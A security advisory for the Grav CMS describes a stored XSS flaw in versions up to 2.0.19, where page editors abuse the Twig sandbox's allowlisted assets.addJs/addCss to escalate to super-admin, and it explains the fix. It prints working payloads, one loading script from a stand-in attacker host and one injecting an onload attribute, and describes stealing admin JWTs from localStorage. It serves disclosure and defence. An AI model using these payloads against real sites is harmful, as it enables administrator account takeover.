GHSA-8hgv-xc77-jmcr: Grav: Page editors can inject arbitrary script into rendered pages via the Twig sandbox's assets.addJs/addCss allowlist, escalating to super-admin
Summary Grav 2.0 renders editor-authored Twig in page content by default and relies on the Twig content sandbox to contain it. The shipped sandbox policy allowlists addcss and addjs on Grav\Common\Assets (system/src/Grav/Common/Twig/Sandbox/SandboxDefaults.php:307).
Published Aug 21, 2026
Affected packages
getgrav/grav
- Ecosystem
- Composer (PHP)
- Affected
- <= 2.0.19
- Fixed in
- 2.0.20
- Check
composer show getgrav/grav
Advisory details
From the GitHub Advisory Database (CC BY 4.0).
Summary
Grav 2.0 renders editor-authored Twig in page content by default and relies on the Twig content sandbox to contain it. The shipped sandbox policy allowlists addcss and addjs on Grav\Common\Assets (system/src/Grav/Common/Twig/Sandbox/SandboxDefaults.php:307). Because the sandbox arbitrates the *call* and not its downstream effect, a user holding only page-edit rights can register an arbitrary asset from page content; the theme then emits it into the document head as a <script src> / <link href> tag. The asset URL is concatenated into that tag without escaping, so it can also break out of its own attribute.
The save-time XSS scan cannot see this: Security::detectXssInEditorContent() renders the content body in isolation and inspects the returned string, while assets.addJs() acts by mutating the shared Assets service and returns only an object key. The payload contains no markup for the scanner to flag.
This is not a Security::detectXss() bypass. It is content reaching an unescaped output sink through an allowlisted method.
Affected versions
All Grav 2.0 releases whose sandbox policy allowlists addcss/addjs on Grav\Common\Assets. The entry predates 2.0.19 — it was carried forward unchanged when the sandbox allowlists moved from system/config/security.yaml into SandboxDefaults in 2.0.19.
Grav 1.7 is not affected: it has no Twig content sandbox and required an explicit per-page process: twig.
Details
Reachable by a plain page editor, with no Twig permission and no configuration change. On a stock install security.twig_content.process_enabled is true and system/config/system.yaml ships process: { markdown: true } with no twig key, so Security::applyTwigContentDefault() defaults every page's process.twig to the gate's value. Content Twig therefore runs on every page that does not explicitly set the flag. security.twig_content.editor_enabled: false and the admin.pages_twig permission gate only the per-page *override checkbox* in the editor — they do not gate whether Twig runs.
The sink. Assets/Js.php:46 (and identically Css.php:50, Link.php:41, JsModule.php:47) builds the tag by concatenation with no escaping:
return '<script src="' . trim($this->asset) . $this->renderQueryString() . '"' . $this->renderAttributes() . ...For any remote asset, BaseAsset::init() stores the caller's string verbatim. Two working variants follow:
- External script inclusion —
{{ assets.addJs('https://attacker.example/poc.js') }} - Attribute injection with no attacker-controlled host —
{{ assets.addJs('/user/themes/quark/js/site.js', {'onload':'alert(1)'}) }}, becauseunifyLegacyArguments()passes a second array argument straight into the tag's attributes and attribute *names* are not filtered. The same effect is reachable by embedding a quote in the URL itself.
Timing. Twig::processSite() resolves $page->content() before rendering the theme template, so the registration lands before the head is emitted.
javascript: and data: URLs are not exploitable — they are treated as local paths and dropped when the file does not exist.
Impact
Persistent script execution on the site's own origin for every visitor of the affected page — including administrators, which makes this a page-editor-to-super-admin escalation:
- Admin-Next renders the page-edit preview as an iframe pointed at the real front-end URL with
sandbox="allow-same-origin allow-scripts allow-forms", so simply previewing the editor's page executes the payload on the admin panel's origin. The existing preview session isolation (plugins.api.protect_frontend_session) only suppresses server-side session start to protect a visitor's front-end session; it does not isolate the origin and does not prevent this. - Admin-Next persists the administrator's API access and refresh JWTs in
localStorageon that same origin. Injected script reads them directly, yielding portable super-admin API access that outlives the page view. - An administrator merely browsing the public site while logged in is equally sufficient; the preview is not required.
Patches
Fixed in Grav 2.0.20:
addcss/addjsremoved from theGrav\Common\Assetssandbox method allowlist. Asset registration is a layout concern, not a content concern. Sites that genuinely need it can re-add the methods throughsecurity.twig_sandbox.allowed_methods, which is additive over the shipped defaults.- Asset URLs are now HTML-escaped at every render site (
Js,Css,Link,JsModule, and the pipeline), so a quote in an asset URL can no longer break out of its attribute regardless of which caller supplied it.
Operators who cannot upgrade immediately can tighten the policy in user/config/security.yaml:
twig_sandbox:
denied_methods:
- class: Grav\Common\Assets
methods: 'addcss, addjs'Credits
Reported by Ahmed Ibrahim (@skeletonsec).
Credited to skeletonsec.
References
How this page is made: the data panel comes from the GitHub Advisory Database, CISA’s KEV catalog, the NVD and FIRST EPSS, and updates twice a day. No analysis has been written for this entry yet. Methodology
More Composer (PHP) vulnerabilities
All Composer (PHP) entriesCVE-2026-61449
Grav: Decompression-bomb size cap bypassed by forged ZIP size in ZipArchiver/Installer
medium6.5Sep 17, 2026CVE-2026-65608
Grav: FlexDirectory::dynamicDataField() executes arbitrary callables from blueprint data with no validation
high8.8Sep 17, 2026CVE-2026-69088
Grav: Incomplete callable validation in blueprint dynamic fields allows arbitrary static method invocation and file disclosure
high8.1Sep 17, 2026CVE-2026-69089
Grav: Path Traversal in ImageMedium::watermark() — arbitrary file disclosure via publicly-cached images
high8.7Sep 17, 2026CVE-2026-72695
Grav: Path Traversal in MediaUploadTrait::deleteFile() Allows Arbitrary File Deletion
high8.1Sep 17, 2026CVE-2026-72697
Grav: media_directory() Twig function allows filesystem path traversal and file content disclosure from sandboxed page content
high6.5Sep 17, 2026
